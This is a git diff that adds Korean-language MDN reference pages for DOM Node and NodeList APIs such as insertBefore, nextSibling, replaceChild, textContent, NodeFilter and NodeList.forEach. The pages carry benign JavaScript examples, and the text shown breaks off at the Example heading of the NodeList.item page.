+ + diff --git a/files/ko/web/api/node/insertbefore/index.html b/files/ko/web/api/node/insertbefore/index.html new file mode 100644 index 0000000000..a3a0782745 --- /dev/null +++ b/files/ko/web/api/node/insertbefore/index.html @@ -0,0 +1,167 @@ +--- +title: Node.insertBefore() +slug: Web/API/Node/insertBefore +translation_of: Web/API/Node/insertBefore +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.insertBefore() 메소드는 참조된 노드 앞에 특정 부모 노드의 자식 노드를 삽입합니다. 만약 주어진 자식 노드가 document에 존재하는 노드를 참조한다면, insertBefore() 가 자식 노드를 현재 위치에서 새로운 위치로 옮깁니다. (노드를 다른 노드에 추가하기 전에 상위 노드에서 제거할 필요가 없습니다)

+ +

이것은 노드가 document에 동시에 두 곳에 존재할 수 없다는 것을 의미합니다. 그러므로 노드가 이미 부모를 가지고 있다면, 노드가 제거된 뒤에 새로운 위치에 삽입됩니다. {{domxref("Node.cloneNode()")}} 로 노드를 새로운 부모 아래에 추가하기 전에 복사본을 만들수 있습니다. cloneNode 로 만들어진 복사본들은 자동으로 동기화 상태를 유지하지 않는다는 것을 알아두십시오.

+ +

만약 참조 노드가 null 이라면, 노드는 부모 노드의 자식 노드 리스트 맨 끝에 추가됩니다.

+ +

만약 자식 노드가 {{domxref("DocumentFragment")}} 이라면, {{domxref("DocumentFragment")}} 의 콘텐츠 전체는 부모 노드의 자식 리스트로 이동됩니다.

+ +

Syntax

+ +
var insertedNode = parentNode.insertBefore(newNode, referenceNode);
+
+ +

referenceNode 가 null 이라면, newNode 가 자식 노드의 리스트의 끝에 삽입됩니다.

+ +
+

referenceNode 는 선택 인자가 아닙니다. -- 명시적으로 Node 나 null 를 전달해야 합니다. 전달하지 않거나 잘못된 값을 전달하면 브라우저 버전에 따라 다른 결과를 얻게 됩니다.

+
+ +

Returns

+ +

반환값은 추가된 자식 노드입니다. 다만 newNode 가 {{domxref("DocumentFragment")}} 일 경우, 빈 {{domxref("DocumentFragment")}} 이 반환됩니다.

+ +

Example 1

+ +
<div id="parentElement">
+   <span id="childElement">foo bar</span>
+</div>
+
+<script>
+// Create the new node to insert
+var newNode = document.createElement("span");
+
+// Get a reference to the parent node
+var parentDiv = document.getElementById("childElement").parentNode;
+
+// Begin test case [ 1 ] : Exist a childElement --> All working correctly
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+// End test case [ 1 ]
+
+// Begin test case [ 2 ] : childElement is of Type undefined
+var sp2 = undefined; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+// End test case [ 2 ]
+
+// Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
+var sp2 = "undefined"; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+// End test case [ 3 ]
+</script>
+ + + +

Example 2

+ +
<div id="parentElement">
+  <span id="childElement">foo bar</span>
+</div>
+
+<script>
+// Create a new, plain <span> element
+var sp1 = document.createElement("span");
+
+// Get a reference to the element, before we want to insert the element
+var sp2 = document.getElementById("childElement");
+// Get a reference to the parent element
+var parentDiv = sp2.parentNode;
+
+// Insert the new element into the DOM before sp2
+parentDiv.insertBefore(sp1, sp2);
+</script>
+
+ +

There is no insertAfter method. It can be emulated by combining the insertBefore method with nextSibling.

+ +

In the previous example, sp1 could be inserted after sp2 using:

+ +
parentDiv.insertBefore(sp1, sp2.nextSibling);
+ +

If sp2 does not have a next sibling, then it must be the last child — sp2.nextSibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2).

+ +

Example 3

+ +

Insert an element before the first child element, using the firstChild property.

+ +
// Get a reference to the element in which we want to insert a new node
+var parentElement = document.getElementById('parentElement');
+// Get a reference to the first child
+var theFirstChild = parentElement.firstChild;
+
+// Create a new element
+var newElement = document.createElement("div");
+
+// Insert the new element before the first child
+parentElement.insertBefore(newElement, theFirstChild);
+
+ +

When the element does not have a first child, then firstChild is null. The element is still appended to the parent, after the last child. Since the parent element did not have a first child, it did not have a last child either. Consequently, the new element is the only element, after insertion.

+ +

Browser compatibility

+ + + +

{{Compat("api.Node.insertBefore")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}{{Spec2('DOM WHATWG')}}Fixes errors in the insertion algorithm
{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}{{Spec2('DOM4')}}Describes the algorithm in more detail
{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}{{Spec2('DOM3 Core')}}No notable changes
{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}{{Spec2('DOM2 Core')}}No notable changes
{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}{{Spec2('DOM1')}}Introduced
+ +

See also

+ + diff --git a/files/ko/web/api/node/lastchild/index.html b/files/ko/web/api/node/lastchild/index.html new file mode 100644 index 0000000000..158ffdab32 --- /dev/null +++ b/files/ko/web/api/node/lastchild/index.html @@ -0,0 +1,25 @@ +--- +title: element.lastChild +slug: Web/API/Node/lastChild +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Node/lastChild +--- +

{{ ApiRef() }}

+

요약

+

lastChild는 노드의 마지막 자식을 반환합니다.

+

구문과 값

+
last_child = element.lastChild
+
+

반환되는 last_child는 노드입니다. 노드의 부모가 요소이면, 자식은 보통 요소 노드, 텍스트 노드, 주석 노드입니다.

+

+
var tr = document.getElementById("row1");
+corner_td = tr.lastChild;
+
+

주의

+

자식 요소가 없으면 null을 반환합니다.

+

명세

+

lastChild

+

{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "pl": "pl/DOM/element.lastChild" } ) }}

diff --git a/files/ko/web/api/node/nextsibling/index.html b/files/ko/web/api/node/nextsibling/index.html new file mode 100644 index 0000000000..8627bd096b --- /dev/null +++ b/files/ko/web/api/node/nextsibling/index.html @@ -0,0 +1,83 @@ +--- +title: Node.nextSibling +slug: Web/API/Node/nextSibling +tags: + - API + - DOM + - Gecko + - Node + - Property +translation_of: Web/API/Node/nextSibling +--- +
+
{{APIRef("DOM")}}
+ +
 
+
+ +

읽기 전용 속성인 Node.nextSibling 은 부모의 {{domxref("Node.childNodes","childNodes")}} 목록에서 지정된 노드 바로 다음에 있는 노드를 반환하거나 지정된 노드가 해당 목록의 마지막 노드이면 null 값을 반환합니다.

+ +

Syntax

+ +
nextNode = node.nextSibling
+
+ +

Notes

+ +

Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다. + 그러므로 예를 들어 Node.firstChildNode.previousSibling을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는 + 달리 공백 텍스트 노드를 참조할 지도 모릅니다.

+ +

더 많은 정보는 Whitespace in the DOM과 + W3C DOM 3 FAQ: Why are some Text nodes empty?를 보세요.

+ +
 
+ +

Example

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+
+<script type="text/javascript">
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Siblings of div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+</script>
+
+/**************************************************
+   로드될 때 다음과 같이 콘솔에 기록됩니다. :
+
+     Siblings of div-01
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+
+ +

위의 예에서 #text 노드는 태그 사이의 마크 업 에서 공백이 발생하는 DOM에 삽입되며 ( 즉 요소의 닫기 태그와 다음 태그의 열기 태그 사이에 있습니다 ) document.write 구문에 의해 삽입 된 요소간에 공백이 생성되지 않습니다.

+ +

nextSibling 을 사용하여 DOM을 탐색 할 때, DOM에 텍스트 노드를 포함시킬 수 있어야 합니다. 노트 섹션의 리소스를 참조하세요.

+ +

Specification

+ + + +

See also

+ + diff --git a/files/ko/web/api/node/normalize/index.html b/files/ko/web/api/node/normalize/index.html new file mode 100644 index 0000000000..dca132296c --- /dev/null +++ b/files/ko/web/api/node/normalize/index.html @@ -0,0 +1,56 @@ +--- +title: Node.normalize() +slug: Web/API/Node/normalize +tags: + - API + - DOM + - NeedsSpecTable + - 노드 + - 레퍼런스 + - 메소드 +translation_of: Web/API/Node/normalize +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.normalize() 메소드는 지정된 노드와 하위 트리의 모든 노드를 "정규화된" 형태로 놓습니다. 정규화된 하위 트리의 텍스트 노드는 비어있지 않으며 인접한 텍스트 노드도 존재하지 않습니다.

+ +

문법

+ +
element.normalize();
+
+ +

예제

+ +
var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// 이 때, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// 이제, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "
+ +

명세

+ + + +

브라우저 호환성

+ + + +

{{Compat("api.Node.normalize")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/node/ownerdocument/index.html b/files/ko/web/api/node/ownerdocument/index.html new file mode 100644 index 0000000000..b3aced6728 --- /dev/null +++ b/files/ko/web/api/node/ownerdocument/index.html @@ -0,0 +1,63 @@ +--- +title: Node.ownerDocument +slug: Web/API/Node/ownerDocument +translation_of: Web/API/Node/ownerDocument +--- +
{{APIRef("DOM")}}
+ +

Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다.

+ +

Syntax

+ +
document = element.ownerDocument
+
+ + + +

Example

+ +
// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+
+ +

Notes

+ +

이 속성에 의해 반환된document 객체는 실제 HTML 문서의 모든 child 노드들이 생성되는 메인 객체입니다. 이 속성이 document 그 자체 노드에서 사용될 경우, 결과는 null 이 됩니다. 

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}{{Spec2("DOM4")}} 
{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}{{Spec2("DOM3 Core")}}No change
{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Node.ownerDocument")}}

diff --git a/files/ko/web/api/node/previoussibling/index.html b/files/ko/web/api/node/previoussibling/index.html new file mode 100644 index 0000000000..642b896748 --- /dev/null +++ b/files/ko/web/api/node/previoussibling/index.html @@ -0,0 +1,42 @@ +--- +title: Node.previousSibling +slug: Web/API/Node/previousSibling +translation_of: Web/API/Node/previousSibling +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 {{domxref("Node.childNodes", "childNodes")}} 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다.

+ +

Syntax

+ +
previousNode = node.previousSibling;
+
+ +

Example

+ +
// <a><b1 id="b1"/><b2 id="b2"/></a>
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+
+ +

Notes

+ +

Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다. + 그러므로 예를 들어 Node.firstChildNode.previousSibling을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는 + 달리 공백 텍스트 노드를 참조할 지도 모릅니다.

+ +

더 많은 정보는 Whitespace in the DOM과 + W3C DOM 3 FAQ: Why are some Text nodes empty?를 보세요.

+ +

To navigate the opposite way through the child nodes list use Node.nextSibling.

+ +

Specification

+ + diff --git a/files/ko/web/api/node/replacechild/index.html b/files/ko/web/api/node/replacechild/index.html new file mode 100644 index 0000000000..b058cc4c99 --- /dev/null +++ b/files/ko/web/api/node/replacechild/index.html @@ -0,0 +1,71 @@ +--- +title: Node.replaceChild() +slug: Web/API/Node/replaceChild +tags: + - 노드 교체 + - 돔 조작 + - 자바스크립트 +translation_of: Web/API/Node/replaceChild +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.replaceChild() 메소드는 특정 부모 노드의 한 자식 노드를  다른 노드로 교체합니다.

+ +

Syntax

+ +
replacedNode = parentNode.replaceChild(newChild, oldChild);
+
+ + + +

Example

+ +
// <div>
+//  <span id="childSpan">foo bar</span>
+// </div>
+
+// 텅빈 요소 노드를 하나 생성합니다.
+// ID도, 속성도, 컨텐츠도 없습니다.
+var sp1 = document.createElement("span");
+
+// 'newSpan'이란 id 속성을 부여합니다.
+sp1.id = "newSpan";
+
+// 새로운 요소를 위한 컨텐츠를 생성합니다.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// 컨텐츠를 생성한 요소에 붙입니다.
+sp1.appendChild(sp1_content);
+
+// DOM에 존재하던, 교체되야할 노드를 참조합니다.
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// 이미 존재하던 sp2 노드를 새로운 span 요소인 sp1으로 교체합니다.
+parentDiv.replaceChild(sp1, sp2);
+
+// 결과:
+// <div>
+//   <span id="newSpan">new replacement span element.</span>
+// </div>
+
+ +

Specification

+ + + +

See also

+ + diff --git a/files/ko/web/api/node/textcontent/index.html b/files/ko/web/api/node/textcontent/index.html new file mode 100644 index 0000000000..f9b1798a96 --- /dev/null +++ b/files/ko/web/api/node/textcontent/index.html @@ -0,0 +1,111 @@ +--- +title: Node.textContent +slug: Web/API/Node/textContent +tags: + - API + - DOM + - Node + - Property + - Reference +translation_of: Web/API/Node/textContent +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Node")}} 인터페이스의 textContent 속성은 노드와 그 자손의 텍스트 콘텐츠를 표현합니다.

+ +
+

참고: textContent와 {{domxref("HTMLElement.innerText")}}가 자주 혼동되곤 하지만, 두 속성에는 {{anch("innerText와의 차이점", "몇 가지 중요한 차이점")}}이 있습니다.

+
+ +

구문

+ +
let text = someNode.textContent
+someOtherNode.textContent = string
+ +

+ +

문자열 또는 {{jsxref("null")}}.

+ +

설명

+ +

textContent의 값은 상황에 따라 다릅니다.

+ + + +

노드의 textContent를 설정하면, 노드의 모든 자식을 주어진 문자열로 이루어진 하나의 텍스트 노드로 대치합니다.

+ +

innerText와의 차이점

+ +

비록 Node.textContent와 {{domxref("HTMLElement.innerText")}}의 이름이 유사하긴 하지만, 중요한 차이가 있으므로 헷갈리지 마세요.

+ + + +

innerHTML과의 차이점

+ +

{{domxref("Element.innerHTML")}}는 이름 그대로 HTML을 반환합니다. 간혹 innerHTML을 사용해 요소의 텍스트를 가져오거나 쓰는 경우가 있지만, HTML로 분석할 필요가 없다는 점에서 textContent의 성능이 더 좋습니다.

+ +

이에 더해, textContentXSS 공격의 위험이 없습니다.

+ +

예제

+ +

다음과 같은 HTML 조각에서...

+ +
<div id="divA">This is <span>some</span> text!</div>
+ +

textContent를 사용해 요소의 텍스트 콘텐츠를 가져오거나...

+ +
let text = document.getElementById('divA').textContent;
+// The text variable is now: 'This is some text!'
+ +

텍스트 내용을 설정할 수 있습니다.

+ +
document.getElementById('divA').textContent = 'This text is different!';
+// The HTML for divA is now:
+// <div id="divA">This text is different!</div>
+
+ +

브라우저 호환성

+ + + +

{{Compat("api.Node.textContent")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}{{Spec2('DOM WHATWG')}}
+ +

참고

+ + diff --git a/files/ko/web/api/nodefilter/index.html b/files/ko/web/api/nodefilter/index.html new file mode 100644 index 0000000000..8e71d48db4 --- /dev/null +++ b/files/ko/web/api/nodefilter/index.html @@ -0,0 +1,115 @@ +--- +title: NodeFilter +slug: Web/API/NodeFilter +tags: + - API + - DOM + - Reference +translation_of: Web/API/NodeFilter +--- +
{{APIRef("DOM")}}
+ +

NodeFilter 인터페이스는 {{ domxref("NodeIterator") }}나 {{ domxref("TreeWalker") }}에서 노드를 거를 때 사용하는 객체를 나타냅니다. NodeFilter는 DOM이나 노드 순회 방법은 알지 못하며, 주어진 필터에 대해 단일 노드를 평가하는 방법만 알 수 있습니다.

+ +
+

The browser doesn't provide any object implementing this interface. It is the user who is expected to write one, tailoring the acceptNode() method to its needs, and using it with some {{domxref("TreeWalker")}} or {{domxref("NodeIterator")}} objects.

+
+ +

Properties

+ +

This interface neither implements, nor inherits, any properties.

+ +

Methods

+ +

This interface doesn't inherit any methods.

+ +
+
{{domxref("NodeFilter.acceptNode()")}}
+
Returns an unsigned short that will be used to tell if a given {{domxref("Node")}} must be accepted or not by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} iteration algorithm. This method is expected to be written by the user of a NodeFilter. Possible return values are: + + + + + + + + + + + + + + + + + + + +
ConstantDescription
FILTER_ACCEPTValue returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be accepted.
FILTER_REJECTValue to be returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be rejected. For {{ domxref("TreeWalker") }}, child nodes are also rejected. For {{ domxref("NodeIterator") }}, this flag is synonymous with FILTER_SKIP.
FILTER_SKIPValue to be returned by {{ domxref("NodeFilter.acceptNode()") }} for nodes to be skipped by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} object. The children of skipped nodes are still considered. This is treated as "skip this node but not its children".
+
+
+ +

Example

+ +
var nodeIterator = document.createNodeIterator(
+  // Node to use as root
+  document.getElementById('someId'),
+
+  // Only consider nodes that are text nodes (nodeType 3)
+  NodeFilter.SHOW_TEXT,
+
+  // Object containing the function to use for the acceptNode method
+  // of the NodeFilter
+    { acceptNode: function(node) {
+      // Logic to determine whether to accept, reject or skip node
+      // In this case, only accept nodes that have content
+      // other than whitespace
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// Show the content of every non-empty text node that is a child of root
+var node;
+
+while ((node = nodeIterator.nextNode())) {
+  alert(node.data);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeFilter")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/entries/index.html b/files/ko/web/api/nodelist/entries/index.html new file mode 100644 index 0000000000..8e9387311c --- /dev/null +++ b/files/ko/web/api/nodelist/entries/index.html @@ -0,0 +1,70 @@ +--- +title: NodeList.entries() +slug: Web/API/NodeList/entries +translation_of: Web/API/NodeList/entries +--- +
{{APIRef("DOM")}}
+ +

NodeList.entries() 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 값(value)은 {{domxref("Node")}} 객체입니다.

+ +

Syntax

+ +
list.entries();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}} 를 반환합니다.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var entry of list.entries()) {
+  console.log(entry);
+}
+
+ +

결과는 다음과 같습니다:

+ +
Array [ 0, <p> ]
+Array [ 1, #text "hey" ]
+Array [ 2, <span> ]
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','entries() (as iterable<Node>)')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.entries")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/foreach/index.html b/files/ko/web/api/nodelist/foreach/index.html new file mode 100644 index 0000000000..b12325d134 --- /dev/null +++ b/files/ko/web/api/nodelist/foreach/index.html @@ -0,0 +1,118 @@ +--- +title: NodeList.prototype.forEach() +slug: Web/API/NodeList/forEach +translation_of: Web/API/NodeList/forEach +--- +

{{APIRef("DOM")}}

+ +

{{domxref("NodeList")}} 인터페이스의 forEach() 메서드는 리스트 내의 각각의 값 쌍에 대해 매개 변수에 지정된 콜백을 삽입 순서로 호출합니다.

+ +

문법Syntax

+ +
NodeList.forEach(callback[, thisArg]);
+
+ +

Parameters

+ +
+
callback
+
각각의 요소에 대해 실행하는 함수로, 3개의 인수(arguments)를 갖습니다: +
+
currentValue
+
NodeList에서 처리중인 현재 요소(element)입니다.
+
currentIndex
+
NodeList에서 처리중인 현재 요소의 인덱스입니다.
+
listObj
+
forEach() 가 적용되고 있는 NodeList 객체입니다. 
+
+
+
thisArg {{Optional_inline}}
+
callback 을 실행할 때 {{jsxref("this")}} 에 대입할 값입니다.
+
+ +

Return value

+ +

{{jsxref('undefined')}}.

+ +

Exceptions

+ +

None.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'myThisArg'
+);
+ +

결과는 다음과 같습니다.

+ +
[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg
+ +

Polyfill

+ +

이 {{Glossary("Polyfill","polyfill")}} 은 ES5 를 지원하는 모든 브라우저에서 동작합니다:

+ +
if (window.NodeList && !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+        for (var i = 0; i < this.length; i++) {
+            callback.call(thisArg, this[i], i, this);
+        }
+    };
+}
+ +

또는

+ +
if (window.NodeList && !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = Array.prototype.forEach;
+}
+ +

The above behavior is how many browsers actually implement NodeList.prototype.forEach (Chrome, for example).

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebIDL", "#es-forEach", "forEach")}}{{Spec2("WebIDL")}}Defines forEach on iterable declarations
+ +

Browser Compatibility

+ + + +

{{Compat("api.NodeList.forEach")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/index.html b/files/ko/web/api/nodelist/index.html new file mode 100644 index 0000000000..a0829a7eca --- /dev/null +++ b/files/ko/web/api/nodelist/index.html @@ -0,0 +1,153 @@ +--- +title: NodeList +slug: Web/API/NodeList +tags: + - DOM + - Interface +translation_of: Web/API/NodeList +--- +
{{APIRef("DOM")}}
+ +

NodeList 객체는 일반적으로 {{domxref("element.childNodes")}}와 같은 속성(property)과 {{domxref("document.querySelectorAll")}} 와 같은 메서드에 의해 반환되는  노드의 콜렉션입니다.

+ +
+

NodeListArray 는 아니지만, forEach() 를 사용하여 반복할 수 있습니다. 또한 {{jsxref("Array.from()")}} 을 사용하여 Array 로 변환 할 수도 있습니다.

+ +

그러나 일부 오래된 브라우저는 아직NodeList.forEach() 또는 Array.from() 를 구현하지 않았습니다. 이것은 {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} 를 사용하여 회피할 수 있습니다. — 이 문서의 예제를 참조하세요.

+
+ +

경우에 따라, NodeList는 라이브 콜렉션으로, DOM의 변경 사항을 실시간으로 콜렉션에 반영합니다. 예를 들어, {{domxref("Node.childNodes")}} 는 실시간입니다:

+ +
var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // let's assume "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // should output "3"
+
+ +

다른 경우 NodeList는 정적 콜렉션입니다. DOM을 변경해도 콜렉션 내용에는 영향을 주지 않습니다. {{domxref("document.querySelectorAll()")}} 은 정적 NodeList를 반환합니다.

+ +

NodeList의 항목(items)을 순회(iterate)하거나, 특히 리스트의 길이를 캐시(cache)해야 할 때, 이 구분을 유지하는것이 좋습니다.

+ +

속성(Properties)

+ +
+
{{domxref("NodeList.length")}}
+
NodeList의 노드의 개수를 반환합니다.
+
+ +

메서드(Methods)

+ +
+
{{domxref("NodeList.item()")}}
+
리스트 내 항목(item)의 인덱스를 반환하고, 인덱스가 범위 외의 경우일 땐 null을 반환합니다.
+
nodeList[idx]의 대안으로 사용할 수 있습니다.(i 가범위를 벗어날 때(out-of-bounds) undefined 를 반환합니다.) 이것은 비 자바스크립트 언어 DOM 구현에 유용합니다.
+
{{domxref("NodeList.entries()")}}
+
{{jsxref("Iteration_protocols","iterator")}} 를 반환하여 코드가 콜렉션에 포함된 모든 키/값 쌍을 순회할 수 있도록 합니다. (이 경우 키는 0부터 시작하는 숫자이고, 값은 노드가 됩니다.)
+
{{domxref("NodeList.forEach()")}}
+
NodeList의 요소(element)마다 한 번씩, 인자로 전달 받은 함수를 실행하여 요소를 인수(argument)로 함수에 전달합니다.
+
{{domxref("NodeList.keys()")}}
+
{{jsxref("Iteration_protocols", "iterator")}}를 반환하여 콜렉션에 포함된 키/값 쌍의 모든 키를 코드가 순회하도록 합니다. (이 경우 키는 0부터 시작하는 숫자입니다.)
+
{{domxref("NodeList.values()")}}
+
콜렉션에 포함된 키/값 쌍의 모든 값(nodes)을 코드가 순회할 수 있게 해주는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.
+
+ +

Example

+ +

for 루프를 사용하여 NodeList의 항목을 반복할 수 있습니다.

+ +
for (var i = 0; i < myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Calling myNodeList.item(i) isn't necessary in JavaScript
+}
+
+ +

리스트의 항목(items)을 열거하기 위해 for...in 또는 for each...in를 사용하지 않길 바랍니다. NodeList의 길이와 항목 속성까지 열거합니다. 또한 스크립트가 요소({{domxref("element")}}) 객체만 처리한다고 가정하면 오류가 발생할 수 있습니다. 게다가, for..in은 고정된 순서로 각 속성들을 접근한다는 보장이 없습니다.

+ +

for...of 루프는 NodeList 객체를 올바르게 반복합니다.

+ +
var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}
+ +

최신 브라우저는 반복자(iterator) 메서드인 {{domxref("NodeList.forEach()", "forEach()")}}만이 아니라, {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.keys()", "keys()")}} 까지도 지원합니다.

+ +

인터넷 익스플로러의 호환을 위해서는 {{jsxref("Array.forEach()", "Array.prototype.forEach")}} 를 사용하는 방법도 있습니다.

+ +
var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+  item.checked = true;
+});
+
+ +

Array로 변환하는 법

+ +

NodeList의 컨텐츠를 Array의 메소드를 통해 다루는 것이 더 쉬울 때도 있다. 아래는 NodeList 객체를 Array로 변환하는 기법이다.

+ +
var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // converts NodeList to Array
+ +

NodeList prototype

+ +

NodeList에 프로토타입을 추가할 수도 있다.

+ +
var elements = document.querySelectorAll(".suggestions");
+
+NodeList.prototype.addEventListener = function(event, func) {
+    this.forEach(function(content, item) {
+       content.addEventListener(event, func);
+    });
+}
+
+function log() {
+    console.log(this, " was clicked");
+}
+
+elements.addEventListener("click", log);
+//or
+elements.addEventListener("click", function() {
+    console.log(this, "  awas clicked");
+});
+// 클릭된 요소로부터 출력될 요소는 둘 모두 HTML 요소가 된다.
+ +

forEach에 대한 자세한 내용은 Array.prototype.forEach()를 참조하길 바란다.

+ +

명세서

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM3 Core') }}
{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM2 Core') }}
{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}{{ Spec2('DOM1') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.NodeList")}}

diff --git a/files/ko/web/api/nodelist/item/index.html b/files/ko/web/api/nodelist/item/index.html new file mode 100644 index 0000000000..8e46ba48f4 --- /dev/null +++ b/files/ko/web/api/nodelist/item/index.html @@ -0,0 +1,44 @@ +--- +title: NodeList.item() +slug: Web/API/NodeList/item +translation_of: Web/API/NodeList/item +--- +
{{APIRef("DOM")}}
+ +

NodeList 의 node를 index로 돌려줍니다. 이 메서드는 인수(arguments)를 제공하는 한 exceptions 을 throw 하지 않습니다. index가 범위를 벗어나면 null 값이 반환되고, 인수가 제공되지 않으면 TypeError 가 throw 됩니다.

+ +

Syntax

+ +
nodeItem = nodeList.item(index)
+
+ + + +

Alternate Syntax

+ +

자바스크립트는 NodeList 에서 index를 얻기 위한, 배열과 같은 브라켓 문법([])을 제공합니다 :

+ +
nodeItem = nodeList[index]
+
+ +

Example

+ +
